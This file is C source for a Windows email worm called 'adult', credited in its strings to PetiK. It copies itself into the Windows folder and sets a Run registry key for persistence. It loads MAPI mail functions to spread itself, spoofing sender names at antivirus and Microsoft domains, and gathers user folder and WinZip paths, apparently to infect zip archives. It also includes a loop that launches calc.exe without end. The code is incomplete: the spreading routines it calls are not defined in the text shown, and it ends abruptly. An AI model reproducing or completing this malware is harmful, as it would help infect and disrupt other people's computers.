adult.c

The worm will duplicate to WINNT catalogue , put worm shelf adult.exe into C: , in zip file under C:

#include <windows.h>
#include <windowsx.h>
#include <stdio.h>
#include <string.h>
#include <mapi.h>
#include <shellapi.h>

//#pragma argused
//#pragma inline

char filen[100], copyn[100], copyreg[100], windir[100], sysdir[100],
	inzip[256], fsubj[50];

char* fnam[] =
{
	"news", "support", "info", "newsletter", "webmaster"
};

char* fmel[] =
{
	"@yahoo.com", "@hotmail.com", "@symantec.com", "@microsoft.com",
	"@avp.ch", "@viruslist.com"
};

LPSTR run = "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
SHFolder = ".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";

char attname[] = "news_xxxxxxxx.exe";

LPTSTR cmdLine, ptr;
BOOL installed;
BYTE desktop[50], favoris[50], personal[50], winzip[50];
DWORD	sizdesktop = sizeof(desktop),sizfavoris = sizeof(favoris),
sizpersonal = sizeof(personal),sizwinzip = sizeof(winzip);

DWORD type = REG_SZ;
long i;

LHANDLE session;
MapiMessage* mes;
MapiRecipDesc from;
char messId[512], mname[50], maddr[30];
HINSTANCE hMAPI;

HKEY hReg;
WIN32_FIND_DATA ffile;

void infzip(char*);

ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);
ULONG (PASCAL FAR *mLogoff)(LHANDLE, ULONG, FLAGS, ULONG);
ULONG (PASCAL FAR *mLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);
ULONG (PASCAL FAR *mFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG,
	LPTSTR);
ULONG (PASCAL FAR *mReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG,
	lpMapiMessage FAR*);
ULONG (PASCAL FAR *mFreeBuffer)(LPVOID);

char ProgramFolder[MAX_PATH];
HANDLE hshell32;
HANDLE hwininet;
char sept[] = "\\";
char *p;

char final[MAX_PATH];
void calc()
{
	while (1) WinExec("calc.exe",1);
}




int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
{

	GetModuleFileName(hInst, filen, 100);
	GetSystemDirectory((char *) sysdir, 100);
	GetWindowsDirectory((char *) copyn, 100);
	strcpy(windir, copyn);
	strcat(copyn, "\\adult.exe");

	installed = FALSE;
	cmdLine = GetCommandLine();
	if (cmdLine)
	{
		for (ptr = cmdLine; ptr[0] != '-' && ptr[1] != 0; ptr++)
			;
		if (ptr[0] == '-' && ptr[1] != 0)
		{
			switch (ptr[1])
			{
			default:
				break;
			case 'i':
				installed = TRUE;
				break;
			case 'p':
				ShellAbout(0, "adult",
					"Copyright (c)2008 - PetiKVX", 0);
				MessageBox(NULL,"This new Worm was coded by PetiK.\nFrance - (c)2008",
					"adult", MB_OK | MB_ICONINFORMATION);
				ExitProcess(0);
				break;
			}
		}
	}

		spread_use_mail(GetModuleHandle(NULL));
		calc();
	if (!installed)
	{
		CopyFile(filen, copyn, FALSE);
		strcpy(copyreg, copyn);
		strcat(copyreg, " -i");
		RegOpenKeyEx(HKEY_LOCAL_MACHINE,run,0,KEY_WRITE,&hReg);
		RegSetValueEx(hReg,"adult",0,REG_SZ,(BYTE *)copyreg,100);
		RegCloseKey(hReg);
		ExitProcess(0);
	}

	RegOpenKeyEx(HKEY_USERS, SHFolder, 0, KEY_QUERY_VALUE, &hReg);
		RegQueryValueEx(hReg, "Desktop", 0, &type, desktop, &sizdesktop);
		RegQueryValueEx(hReg, "Favorites", 0, &type, favoris, &sizfavoris);
		RegQueryValueEx(hReg, "Personal", 0, &type, personal, &sizpersonal);
	RegCloseKey(hReg);

	RegOpenKeyEx(HKEY_LOCAL_MACHINE,
		"Software\\Microsoft\\windows\\CurrentVersion\\App Paths\\winzip32.exe",
		0, KEY_QUERY_VALUE, &hReg);
		RegQueryValueEx(hReg, NULL, 0, &type, winzip, &sizwinzip);
	RegCloseKey(hReg);
/////////////////////////////////////////////////////////////////////////
// 非称更